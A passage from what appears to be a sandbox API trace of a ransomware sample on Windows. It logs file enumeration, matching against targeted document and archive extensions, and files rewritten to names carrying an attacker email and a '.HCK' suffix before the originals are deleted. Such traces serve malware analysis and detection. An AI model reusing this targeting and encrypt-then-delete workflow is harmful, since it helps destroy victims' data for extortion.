dwReserved1=0x2e0000, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0246.527] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf42d018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0246.528] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0246.529] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecb9a46, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecb9a46, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecb9a46, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0246.529] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x41a40b0, Size=0x20000) Thread: id = 378 os_tid = 0xef0 [0245.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x39f1028 [0245.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a01030 [0245.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e570 [0245.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc848 [0245.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e780 [0245.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3cb4020 [0245.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7f8 [0245.484] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e7f8, Size=0x20) returned 0x55ebd8 [0245.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.484] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5b8, Size=0x20) returned 0x55eb88 [0245.484] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.484] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.484] Wow64DisableWow64FsRedirection (in: OldValue=0x326ff50 | out: OldValue=0x326ff50*=0x0) returned 1 [0245.484] lstrlenW (lpString="kernel32.dll") returned 12 [0245.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.484] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.485] Sleep (dwMilliseconds=0x64) [0245.722] Sleep (dwMilliseconds=0x64) [0245.988] lstrcmpiW (lpString1=".sys", lpString2=".HCK") returned 1 [0245.988] lstrlenW (lpString="pagefile.sys") returned 12 [0245.988] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.988] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.988] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.988] lstrlenW (lpString=".doc") returned 4 [0245.988] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0245.988] lstrlenW (lpString=".docx") returned 5 [0245.988] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0245.988] lstrlenW (lpString=".pdf") returned 4 [0245.988] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0245.988] lstrlenW (lpString=".xls") returned 4 [0245.988] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0245.988] lstrlenW (lpString=".xlsx") returned 5 [0245.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0245.989] lstrlenW (lpString=".ppt") returned 4 [0245.989] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".zip") returned 4 [0245.989] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0245.989] lstrlenW (lpString=".rar") returned 4 [0245.989] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".bz2") returned 4 [0245.989] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".7z") returned 3 [0245.989] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".dbf") returned 4 [0245.989] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".1cd") returned 4 [0245.989] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".jpg") returned 4 [0245.989] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".doc") returned 4 [0245.989] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".docx") returned 5 [0245.989] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0245.989] lstrlenW (lpString=".pdf") returned 4 [0245.989] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".xls") returned 4 [0245.989] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0245.989] lstrlenW (lpString=".xlsx") returned 5 [0245.989] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0245.989] lstrlenW (lpString=".ppt") returned 4 [0245.989] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".zip") returned 4 [0245.989] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0245.989] lstrlenW (lpString=".rar") returned 4 [0245.989] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".bz2") returned 4 [0245.989] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString=".7z") returned 3 [0245.989] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".dbf") returned 4 [0245.989] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".1cd") returned 4 [0245.989] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0245.989] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0245.989] lstrlenW (lpString=".jpg") returned 4 [0245.989] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0245.990] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0245.990] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0245.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0245.990] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=80384) returned 1 [0245.990] CloseHandle (hObject=0x354) returned 1 [0245.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe")) returned 0x20 [0245.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\absolutetelnet.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0245.991] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.991] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\absolutetelnet.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0245.991] GetLastError () returned 0x0 [0245.992] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesRead=0x326fecc*=0x13a00, lpOverlapped=0x0) returned 1 [0245.998] WriteFile (in: hFile=0x358, lpBuffer=0x3cb4020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesWritten=0x326fc94*=0x13a10, lpOverlapped=0x0) returned 1 [0245.999] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.000] WriteFile (in: hFile=0x358, lpBuffer=0x3cb4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesWritten=0x326fc94*=0xf8, lpOverlapped=0x0) returned 1 [0246.000] SetEndOfFile (hFile=0x358) returned 1 [0246.000] CloseHandle (hObject=0x358) returned 1 [0246.000] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.000] SetEndOfFile (hFile=0x354) returned 1 [0246.001] CloseHandle (hObject=0x354) returned 1 [0246.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0246.001] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe")) returned 1 [0246.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.001] lstrlenW (lpString=".doc") returned 4 [0246.001] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.001] lstrlenW (lpString=".docx") returned 5 [0246.001] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0246.001] lstrlenW (lpString=".pdf") returned 4 [0246.001] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.001] lstrlenW (lpString=".xls") returned 4 [0246.001] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".xlsx") returned 5 [0246.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0246.002] lstrlenW (lpString=".ppt") returned 4 [0246.002] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".zip") returned 4 [0246.002] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".rar") returned 4 [0246.002] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".bz2") returned 4 [0246.002] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString=".7z") returned 3 [0246.002] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".dbf") returned 4 [0246.002] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".1cd") returned 4 [0246.002] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".jpg") returned 4 [0246.002] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".doc") returned 4 [0246.002] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString=".docx") returned 5 [0246.002] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0246.002] lstrlenW (lpString=".pdf") returned 4 [0246.002] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".xls") returned 4 [0246.002] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".xlsx") returned 5 [0246.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0246.002] lstrlenW (lpString=".ppt") returned 4 [0246.002] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".zip") returned 4 [0246.002] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".rar") returned 4 [0246.002] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0246.002] lstrlenW (lpString=".bz2") returned 4 [0246.002] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString=".7z") returned 3 [0246.002] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".dbf") returned 4 [0246.002] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".1cd") returned 4 [0246.002] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0246.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0246.002] lstrlenW (lpString=".jpg") returned 4 [0246.003] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0246.003] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0246.003] lstrlenW (lpString="filezilla.exe") returned 13 [0246.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.003] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=80384) returned 1 [0246.003] CloseHandle (hObject=0x354) returned 1 [0246.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe")) returned 0x20 [0246.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\filezilla.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.003] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.003] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.003] CreateFileW (lpFileName="C:\\Program 